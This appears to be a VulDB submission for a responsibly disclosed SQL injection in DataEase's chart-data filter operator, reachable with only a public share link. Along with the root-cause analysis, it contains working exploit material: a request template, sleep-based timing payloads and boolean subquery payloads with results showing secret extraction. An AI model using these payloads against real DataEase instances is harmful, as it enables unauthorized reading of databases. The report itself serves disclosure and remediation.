| Название | FIT2CLOUD DataEase (open-source BI platform; vulnerable classes in the in-repo `core/core-backend` module bundled into the community distribution) 2.x <= 2.10.26 and 3.x <= 3.0.0 (the operator-logic concatenation is byte-identical in the `v2.10.26` and `v |
|---|
| Описание | SQL injection via the compound-filter operator in the DataEase chart-data endpoint
Vendor: FIT2CLOUD
Affected versions: 2.x <= 2.10.26 and 3.x <= 3.0.0 (the operator-logic concatenation is byte-identical in the `v2.10.26` and `v3.0.0` tags); tested at released build 2.10.26, commit `0a9eaf6af890bbc91ebcd71a8a8013f917846245` (runtime built from exactly that commit); the branch exists since the compound-filter feature commit `0145f67d7d` (2024-04-10)
Vulnerability class: SQL injection (CWE-89)
Preconditions: Holder of a public dashboard share link — no DataEase account of any kind. The link token is issued by the unauthenticated `POST /de2api/share/validate` for the share's 8-character uuid (presented with no password). Anyone a share URL is distributed to (or who brute-forces the 62^8 uuid space) qualifies.
Anyone holding a public dashboard share link — no account of any kind needed — can make the server run SQL expressions of their own choosing against the chart's datasource and read the answers out of the returned row counts.
Data flow: request JSON `chartExtRequest.filter[].operator` at `POST /de2api/chartData/getData` → `ChartDataManage.calcData` verbatim copy (`ChartDataManage.java:154-230`, `:236-290`) → `ExtWhere2Str.extWhere2sqlOjb` (`ChartDataManage.java:410`) middle-segment concatenation (`ExtWhere2Str.java:155-160`) → `CalciteProvider` single prepared statement (`CalciteProvider.java:337/595`).
### Affected interfaces
| Interface |
|---|
| POST /de2api/chartData/getData (JSON `ChartViewDTO`; `chartExtRequest.filter[].operator`) — `ChartDataServer.getData` (`ChartDataServer.java:82`) |
| Same sink reached by the chart handlers sharing `ExtWhere2Str` (`TableNormalHandler.java:146`, `MixHandler.java:158`, `YoyChartHandler.java:85`) |
Primary route detail:
```
POST /de2api/chartData/getData HTTP/1.1
X-DE-LINK-TOKEN: <share-link JWT>
{"id":"<chart id>","sceneId":"<scene id>","tableId":"<table id>",
"chartExtRequest":{"filter":[{"fieldId":"<field>","operator":"<payload>","value":["1","2"],"isTree":false}]}}
```
The compound-filter `operator` string is split on `-` and its middle segment — meant to be exactly
`and` or `or` — is concatenated raw into the WHERE fragment, turning the chart-data response into
a boolean/timing oracle over the datasource.
### Root cause
```java
if (StringUtils.containsIgnoreCase(request.getOperator(), "-")) {
String[] split = request.getOperator().split("-");
String term1 = split[0];
String logic = split[1]; // attacker-controlled, never validated
String term2 = split[2];
whereValue = Utils.transFilterTerm(term1) + getValue(term1, value.get(0)) + " " + logic + " " + whereName + Utils.transFilterTerm(term2) + getValue(term2, value.get(1));
}
```
(`engine/trans/ExtWhere2Str.java:155-160`; the middle segment is concatenated raw into the WHERE
fragment the provider executes, `datasource/provider/CalciteProvider.java:337/595`.)
1. **Source:** `ChartViewDTO.chartExtRequest.filter[]` is a list of `ChartExtFilterDTO` whose `operator` is a plain unvalidated `String` (`sdk/extensions/extensions-view/.../dto/ChartExtFilterDTO.java:16`).
2. **Propagation:** `ChartDataManage.calcData` copies each request filter verbatim and passes them to `ExtWhere2Str.extWhere2sqlOjb` (`ChartDataManage.java:410`).
3. **Missing guards:** `Utils.transFilterTerm` (`engine/utils/Utils.java:194-242`) is a whitelist switch whose `default` branch returns `""` instead of throwing, so `eq-<payload>-eq` passes silently; no `validateSqlInjectionRisk`/deny-list is applied to `operator` anywhere on the path. The filter *values* in this same file are sanitized (`sanitizeSqlLiteral`/`NUMBER_PATTERN`, `ExtWhere2Str.java:381-395`), so the operator middle segment is the remaining free-text element that reaches SQL raw. `checkLinkChart` (`chart/manage/ChartViewManage.java:172-196`) pins only `sceneId`/`tableId` and performs no content validation of the filter.
The `operator` field is a closed-vocabulary control parameter (single terms and the range logic
are expected to be from a fixed set); the compound middle segment is meant to be exactly
`and`/`or`. A share-link viewer is granted data viewing, not SQL composition — this parameter
escapes its vocabulary into the executed statement.
Baseline: commit `0a9eaf6af890bbc91ebcd71a8a8013f917846245` (2.10.26), self-hosted on `127.0.0.1:18701` with local MariaDB 10.6 + Redis; share provisioned on the seeded demo scene (`985192741891870720`, chart `985192540103905280`, table `985189053949415424`); canary table `dataease10.cv4_de_canary(id, secret)` with rows `(1,'cv4canary-exfil'), (2,'decoy')` created for the test.
**1. Obtain the share-link bearer credential (no account):**
```
POST /de2api/share/validate
{"ciphertext": "<RSA-PKCS1 of \"7MjZnLz4,\">"} # share uuid + empty password
-> 200, response header X-DE-LINK-TOKEN: <147-byte JWT> # endpoint is whitelisted (WhitelistUtils.WHITE_PATH)
```
**2. Call chart data with filter operator payloads (only header: X-DE-LINK-TOKEN):**
| operator payload | HTTP / body code | latency | `data.data.tableRow` |
|---|---|---|---|
| none (no filter) | 200 / 0 | 0.1s | 8 |
| `eq-and-eq` (benign intended usage) | 200 / 0 | 0.1s | 0 |
| `eq- or sleep(5) or -eq` | 200 / 50002 | 30.1s | 0 — `SQL ERROR: (conn=565) Query execution was interrupted (max_statement_time exceeded)` |
| `eq- or (SELECT ASCII(SUBSTRING(secret,1,1)) FROM cv4_de_canary WHERE id=1) = 99 or -eq` | 200 / 0 | 0.1s | 8 |
| same with `= 101` | 200 / 0 | 0.1s | 0 |
| same with `= 999` | 200 / 0 | 0.1s | 0 |
**3. Independent confirmation the operator text reaches the executed statement:** a MariaDB error echo during the session showed the injected text inside the final datasource SQL: `... near 'SELECT `name` FROM `de_engine`.`cv4canary` LIMIT 1))) OR CAST(`t_a_0`.`f_878c...`
**4. Negative control:** the no-filter call returns 8 rows in 0.1s and the benign `eq-and-eq` call (the compound-operator feature's intended usage) returns 0 rows in 0.1s — the endpoint and the compound-operator path behave normally without payloads; and against the true predicate (8 rows), the two false predicates (`= 101`, `= 999`, both 0 rows) show the row count flips exactly with the attacker subquery's truth value.
All testing was performed against a self-hosted instance on the reporter's own host. No third-party system, production instance or customer data was involved.
- **Vendor contact**: GitHub Private Vulnerability Reporting - dataease/dataease
- **Status**: vendor notified 2026-10-06 through GitHub Private Vulnerability Reporting; private report <<GHSA_LINK>>; not publicly disclosed; no CVE assigned
- **Duplicate check**: public advisories (NVD/OSV/GitHub) and the project issue tracker were searched before reporting; please tell us if this duplicates something already tracked internally. |
|---|
| Источник | ⚠️ https://github.com/dataease/dataease |
|---|
| Пользователь | lucasg2g (UID 84737) |
|---|
| Представление | 15.10.2026 07:31 (23 дни назад) |
|---|
| Модерация | 06.11.2026 19:27 (23 days later) |
|---|
| Статус | принято |
|---|
| Запись VulDB | 432069 [DataEase до 2.10.27/3.1.0 Chart Data ExtWhere2Str.java ExtWhere2Str.extWhere2sqlOjb operator SQL-инъекция] |
|---|
| Баллы | 20 |
|---|